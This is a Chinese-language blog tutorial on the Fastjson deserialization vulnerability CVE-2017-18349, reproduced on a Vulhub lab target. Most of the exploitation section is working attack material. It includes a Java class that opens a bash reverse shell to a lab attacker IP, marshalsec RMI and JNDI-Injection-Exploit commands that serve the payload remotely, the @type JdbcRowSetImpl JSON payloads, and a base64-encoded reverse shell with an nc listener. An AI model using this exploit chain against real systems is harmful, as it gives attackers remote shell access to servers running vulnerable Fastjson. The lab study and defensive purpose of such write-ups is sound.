当前位置:   article > 正文

Fastjson反序列化漏洞原理与漏洞复现(CVE-2017-18349)

cve-2017-18349

1、什么是Fastjson反序列化?

Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象。这个过程通常称为序列化和反序列化。Fastjson 反序列化是指将 JSON 字符串转换为 Java 对象的过程。

1.1、例如:

首先假设你有如下的JSON字符串

{
  "name": "John Doe",
  "age": 30,
  "isDeveloper": true
}

将这个 JSON 字符串反序列化为一个 Java 对象。首先,创建一个 Java 类来表示 JSON 数据

public class User {
    private String name;
    private int age;
    private boolean isDeveloper;
    
    // getters and setters 省略
}

然后,使用 Fastjson 的 JSON.parseObject 方法将 JSON 字符串转换为 User 类的实例

String jsonString = "{\"name\":\"John Doe\", \"age\":30, \"isDeveloper\":true}";
User user = JSON.parseObject(jsonString, User.class);

在这个例子中,jsonString 包含了要反序列化的 JSON 数据,User.class 是目标对象的类类型。Fastjson 会解析 JSON 字符串,并且将解析出的数据填充到新创建的 User 对象的相应字段中。

2、漏洞原理

Fastjson允许JSON字符串中包含@type关键字来指示目标对象的类型。这意味着反序列化时,Fastjson会尝试加载并实例化这个类型的对象。如果应用程序配置允许自动类型识别,而没有适当的限制,攻击者就可以通过构造特殊的JSON字符串来指定恶意类

3、影响版本

影响版本:Fastjson1.2.24及之前版本。

4、环境准备

启动Vulhub靶场环境,本文不多做介绍,如需要请点击此处查看即可。

5、漏洞复现

5.1、漏洞验证

dnslog里申请一个域名

访问拉取到的环境靶场并用burp suite拦截

修改请求为POST,修改 Content-Type为: application/json,添加请求内容

验证成功,说明存在漏洞

5.2、漏洞利用

构建恶意类,创建java脚本(脚本中的IP为攻击机IP)

import java.lang.Runtime;
import java.lang.Process;
 
public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.15.128/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在此文件的路径进入cmd执行如下命令编译为.class文件

javac GetShell.java

将生成的.class文件放入kali,并在其所在路径执行如下命令,使其可被访问。

python3 -m http.server 80

使用marshalsec,启动RMI服务。安装marshalsec或点此离线下载

git clone https://github.com/mbechler/marshalsec

安装maven

apt-get install maven

进入marshalsec目录,执行如下命令进行编译。

mvn clean package -DskipTests

编译完成

进入marshalsec/target目录,执行如下命令启动RMI服务并远程加在GetShell类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.15.128:80/#GetShell" 3333

重新访问靶场环境地址,burp抓包,修改请求头为POST,修改修改 Content-Type为: application/json,并带入payload。

{
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.15.128:3333/GetShell",
    "autoCommit":true
    }
}

点击发送,httpserver收到请求,RMI服务器收到请求,复现成功。

5.3、反弹shell

正常情况下以上payload也可反弹shell,查了多个资料应该是jdk版本较高导致编译后无法反弹shell,更换环境比较头疼,下面是反弹shell操作步骤。

首先需要下载JNDI注入工具。git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 

进入JNDI-Injection-Exploit目录

执行如下命令编译

mvn clean package -DskipTests

编译成功界面

构造反弹shell命令并进行base64编码。推荐编码地址

bash -i >& /dev/tcp/192.168.15.128/4444 0>&1

进入JNDI-Injection-Exploit/target,执行如下命令启动JDNI,生成payload。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"

执行如下命令监听

nc -lvvp 4444

burp抓取漏洞环境的数据包修改请求头为POST,Content-Type: application/json,添加payload点击发送

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.15.128:1099/s1ipur",
        "autoCommit":true
    }
}

成功反弹shell

6、修复建议

将Fastjson升级至最新版本

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/918308
推荐阅读
相关标签
  

闽ICP备14008679号